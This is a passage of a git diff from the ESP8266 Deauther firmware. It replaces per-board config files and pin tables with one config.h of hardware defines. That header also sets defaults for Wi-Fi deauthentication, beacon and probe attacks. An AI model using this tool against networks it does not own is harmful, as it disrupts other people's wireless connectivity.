= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,18 +0,0 @@
# DSTIKE Deauther OLED v3.5 + DSTIKE Deauth Monster
| | |
| - | - |
| LED Type | Neopixel (WS2812) |
| LED Pin | GPIO 15 |
| Number of LEDs | 1 |
| Display and buttons enabled | YES |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | No |
| Button Up |GPIO 12 |
| Button Down | GPIO 13 |
| Button Left | disabled |
| Button Right | disabled |
| Button A | GPIO 14 |
| Button B |disabled |

View File

@ -1,91 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 15
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,18 +0,0 @@
# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2
| | |
| - | - |
| LED Type | Neopixel (WS2812b) |
| LED Pin | GPIO 15 |
| Number of LEDs | 1 |
| Display and buttons enabled | NO |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | NO |
| Button Up |GPIO 12 |
| Button Down | GPIO 13 |
| Button Left | disabled |
| Button Right | disabled |
| Button A | GPIO 14 |
| Button B |disabled |

View File

@ -1,89 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 4
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define BUTTON_UP 14
//#define BUTTON_DOWN 12
//#define BUTTON_A 13
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
*/
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,18 +0,0 @@
# DSTIKE Deauther v3 & DSTIKE NodeMCU-07 v2
| | |
| - | - |
| LED Type | Neopixel (WS2812b) |
| LED Pin | GPIO 4 |
| Number of LEDs | 1 |
| Display and buttons enabled | NO |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | NO |
| Button Up | disabled |
| Button Down | disabled |
| Button Left | disabled |
| Button Right | disabled |
| Button A | disabled |
| Button B | disabled |

View File

@ -1,90 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
*/
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,21 +0,0 @@
# Default Config
Default configuration for all boards without using a display or RGB LED.
The display can be enabled over the settings.
| | |
| - | - |
| LED Type | Digital |
| LED R | GPIO 2 |
| LED G | disabled |
| LED B | GPIO 16 |
| Display and buttons enabled | NO |
| Display Driver | SSD1306 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | NO |
| Button Up |GPIO 14 (D5) |
| Button Down | GPIO 12 (D6) |
| Button Left | disabled |
| Button Right | disabled |
| Button A | GPIO 13 (D7) |
| Button B |disabled |

View File

@ -1,4 +0,0 @@
Here you find a bunch of modified config files for different boards.
Those are meant to be copy and replaced in the Arduino sektch.
The default config should be fine for all boards that don't have a display or a RGB LED (like the NodeMCU).

View File

@ -1,90 +1,730 @@
#ifndef config_h
#define config_h
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
#pragma once
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
#define ENABLE_DEBUG
#define DEBUG_PORT Serial
#define DEBUG_BAUD 115200
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
#define DEFAULT_ESP8266
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// #define NODEMCU
// #define WEMOS_D1_MINI
// #define HACKHELD_VEGA
// #define DISPLAY_EXAMPLE_I2C
// #define DISPLAY_EXAMPLE_SPI
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// #define MALTRONICS
// #define DSTIKE_DEAUTHER_V1
// #define DSTIKE_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_V3
// #define DSTIKE_DEAUTHER_V3_5
// #define DSTIKE_D_DUINO_B_V5_LED_RING
// #define DSTIKE_DEAUTHER_BOY
// #define DSTIKE_NODEMCU_07
// #define DSTIKE_NODEMCU_07_V2
// #define DSTIKE_DEAUTHER_OLED
// #define DSTIKE_DEAUTHER_OLED_V1_5_S
// #define DSTIKE_DEAUTHER_OLED_V1_5
// #define DSTIKE_DEAUTHER_OLED_V2
// #define DSTIKE_DEAUTHER_OLED_V2_5
// #define DSTIKE_DEAUTHER_OLED_V3
// #define DSTIKE_DEAUTHER_OLED_V3_5
// #define DSTIKE_DEAUTHER_OLED_V4
// #define DSTIKE_DEAUTHER_OLED_V5
// #define DSTIKE_DEAUTHER_OLED_V6
// #define DSTIKE_DEAUTHER_MOSTER
// #define DSTIKE_DEAUTHER_MOSTER_V2
// #define DSTIKE_DEAUTHER_MOSTER_V3
// #define DSTIKE_DEAUTHER_MOSTER_V4
// #define DSTIKE_DEAUTHER_MOSTER_V5
// #define DSTIKE_USB_DEAUTHER
// #define DSTIKE_USB_DEAUTHER_V2
// #define DSTIKE_DEAUTHER_WATCH
// #define DSTIKE_DEAUTHER_WATCH_V2
// #define DSTIKE_DEAUTHER_MINI
// #define DSTIKE_DEAUTHER_MINI_EVO
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// #define LYASI_7W_E27_LAMP
// #define AVATAR_5W_E14_LAMP
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// Forces formatting of SPIFFS and EEPROM ot startup
// #define FORMAT_SPIFFS
// #define FORMAT_EEPROM
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY false // default display setting
// Forces a reset of all settings at startup
// #define RESET_SETTINGS
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
// ========== CONFIGS ========== //
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
// https://github.com/spacehuhntech/hackheld
#if defined(HACKHELD_VEGA)
// ===== LED ===== //
#define USE_LED true
#define LED_NEOPIXEL
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
*/
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
#define LED_MODE_BRIGHTNESS 10
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15 // D8
#endif
// ===== DISPLAY ===== //
#define USE_DISPLAY true
#define FLIP_DIPLAY true
#define SH1106_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 4 // D2
#define I2C_SCL 5 // D1
// ===== BUTTONS ===== //
#define BUTTON_UP 14 // D5
#define BUTTON_DOWN 12 // D6
#define BUTTON_A 2 // D4
#define BUTTON_B 0 // D3
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled
#elif defined(DISPLAY_EXAMPLE_I2C)
// ===== DISPLAY ===== //
#define SH1106_I2C
// #define SSD1306_I2C
#define I2C_ADDR 0x3C
#define I2C_SDA 5
#define I2C_SCL 4
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 14
#define BUTTON_DOWN 12
#define BUTTON_A 13
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-spi-oled
#elif defined(DISPLAY_EXAMPLE_SPI)
#define SH1106_SPI
// #define SSD1306_SPI
#define SPI_RES 5
#define SPI_DC 4
#define SPI_CS 15
// #define FLIP_DIPLAY true
// ===== BUTTONS ===== //
#define BUTTON_UP 0
#define BUTTON_DOWN 12
#define BUTTON_A 2
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
// #define LED_NEOPIXEL_RGB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 9
#define LED_MODE_BRIGHTNESS 10
#elif defined(MALTRONICS)
// ===== Reset ====== //
#define RESET_BUTTON 5
// ===== LED ===== //
#define LED_DOTSTAR
#define LED_NUM 1
#define LED_DOTSTAR_CLK 12
#define LED_DOTSTAR_DATA 13
#define LED_MODE_BRIGHTNESS 255
// ===== Web ===== //
#define WEB_IP_ADDR (192, 168, 4, 2)
#define WEB_URL "deauther.tools"
#elif defined(DSTIKE_D_DUINO_B_V5_LED_RING)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 12
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_BOY)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 10
#define BUTTON_DOWN 9
#define BUTTON_A 14
#define BUTTON_B 12
#elif defined(DSTIKE_DEAUTHER_V3_5) || defined(DSTIKE_NODEMCU_07_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#elif defined(DSTIKE_DEAUTHER_OLED_V1_5_S)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED) || defined(DSTIKE_DEAUTHER_OLED_V1_5)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SSD1306_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V2) || defined(DSTIKE_DEAUTHER_OLED_V2_5) || defined(DSTIKE_DEAUTHER_OLED_V3)
// ===== LED ===== //
#define LED_DIGITAL
#define LED_PIN_R 16
#define LED_PIN_B 2
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V3_5) || defined(DSTIKE_DEAUTHER_OLED_V4) || defined(DSTIKE_DEAUTHER_OLED_V5) || defined(DSTIKE_DEAUTHER_MOSTER) || defined(DSTIKE_DEAUTHER_MOSTER_V2) || defined(DSTIKE_DEAUTHER_MOSTER_V3) || defined(DSTIKE_DEAUTHER_MOSTER_V4)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_OLED_V6) || defined(DSTIKE_DEAUTHER_MOSTER_V5)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_USB_DEAUTHER_V2)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 4
#elif defined(DSTIKE_DEAUTHER_WATCH) || defined(DSTIKE_DEAUTHER_MINI)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(DSTIKE_DEAUTHER_WATCH_V2) || defined(DSTIKE_DEAUTHER_MINI_EVO)
// ===== LED ===== //
#define LED_NEOPIXEL_GRB
#define LED_NUM 1
#define LED_NEOPIXEL_PIN 15
#define HIGHLIGHT_LED 16
// ===== DISPLAY ===== //
#define SH1106_I2C
#define FLIP_DIPLAY true
#define DISPLAY_TEXT "Hardware by DSTIKE"
#define RTC_DS3231
// ===== BUTTONS ===== //
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
#elif defined(LYASI_7W_E27_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 4
#define LED_MY92_CLK 5
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(AVATAR_5W_E14_LAMP)
// ===== LED ===== //
#define LED_MY92
#define LED_MODE_OFF 0, 0, 0
#define LED_MODE_SCAN 0, 0, 255
#define LED_MODE_ATTACK 255, 0, 0
#define LED_MODE_IDLE 0, 255, 0
#define LED_MODE_BRIGHTNESS 10
#define LED_NUM 1
#define LED_MY92_DATA 13
#define LED_MY92_CLK 15
#define LED_MY92_CH_R 0
#define LED_MY92_CH_G 1
#define LED_MY92_CH_B 2
#define LED_MY92_CH_BRIGHTNESS 3
#define LED_MY92_MODEL MY92XX_MODEL_MY9291
#elif defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3)
// ===== LED ===== //
// #define LED_DIGITAL
// #define LED_PIN_R 16 // NodeMCU on-board LED
// #define LED_PIN_B 2 // ESP-12 LED
#endif /* if defined(DEFAULT_ESP8266) || defined(NODEMCU) || defined(WEMOS_D1_MINI) || defined(DSTIKE_USB_DEAUTHER) || defined(DSTIKE_NODEMCU_07) || defined(DSTIKE_DEAUTHER) || defined(DSTIKE_DEAUTHER_V1) || defined(DSTIKE_DEAUTHER_V2) || defined(DSTIKE_DEAUTHER_V3) */
// ============================== //
// ========= FALLBACK ========= //
// ===== AUTOSAVE ===== //
#ifndef AUTOSAVE_ENABLED
#define AUTOSAVE_ENABLED true
#endif /* ifndef ATTACK_ALL_CH */
#ifndef AUTOSAVE_TIME
#define AUTOSAVE_TIME 60
#endif /* ifndef ATTACK_ALL_CH */
// ===== ATTACK ===== //
#ifndef ATTACK_ALL_CH
#define ATTACK_ALL_CH false
#endif /* ifndef ATTACK_ALL_CH */
#ifndef RANDOM_TX
#define RANDOM_TX false
#endif /* ifndef RANDOM_TX */
#ifndef ATTACK_TIMEOUT
#define ATTACK_TIMEOUT 600
#endif /* ifndef ATTACK_TIMEOUT */
#ifndef DEAUTHS_PER_TARGET
#define DEAUTHS_PER_TARGET 25
#endif /* ifndef DEAUTHS_PER_TARGET */
#ifndef DEAUTH_REASON
#define DEAUTH_REASON 1
#endif /* ifndef DEAUTH_REASON */
#ifndef BEACON_INTERVAL_100MS
#define BEACON_INTERVAL_100MS true
#endif /* ifndef BEACON_INTERVAL_100MS */
#ifndef PROBE_FRAMES_PER_SSID
#define PROBE_FRAMES_PER_SSID 1
#endif /* ifndef PROBE_FRAMES_PER_SSID */
// ===== SNIFFER ===== //
#ifndef CH_TIME
#define CH_TIME 200
#endif /* ifndef CH_TIME */
#ifndef MIN_DEAUTH_FRAMES
#define MIN_DEAUTH_FRAMES 3
#endif /* ifndef MIN_DEAUTH_FRAMES */
